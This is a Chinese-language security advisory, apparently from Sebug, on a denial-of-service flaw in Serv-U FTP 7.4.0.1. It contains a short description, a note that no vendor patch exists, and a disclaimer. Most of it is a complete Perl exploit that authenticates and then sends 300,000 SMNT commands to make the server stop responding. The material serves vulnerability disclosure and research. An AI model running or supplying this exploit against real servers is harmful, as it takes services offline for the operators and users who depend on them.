影响版本:
RhinoSoft Serv-U 7.4.0.1
漏洞描述:
BUGTRAQ  ID: 34127

Serv-U FTP是一款FTP服务程序。

如果远程攻击者向Serv-U FTP服务器发送特制SMNT请求的话，就可以导致服务器停止响应。<*参考
Jonathan Salwan （submit@shell-storm.org）
*>
SEBUG安全建议:
厂商补丁：

RhinoSoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.serv-u.com/
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
 

#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# Denial of Service in Serv-u up to 7.4.0.1 (no crash)
# Just the server is saturated, it stops responding.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org

use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

 if (@ARGV < 3)
  {
   print "[*] Usage: <serv-u.pl> <host> <port>\n";
   print "[*] Exemple: serv-u.pl 127.0.0.1 21 jonathan toto\n";
   exit;
  }

 $ip  = $ARGV[0];
 $port  = $ARGV[1];
 $user = $ARGV[2];
 $pass = $ARGV[3];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";

$evil = "SMNT\r\n" x 300000;

$after = "\x2A\x2A";

 print $socket "USER $user\r\n";
 print $socket "PASS $pass.$after\r\n";
 print $socket "$evil";
 
  sleep(1);
  close($socket);

print "[+]Done! the server is saturated.\n";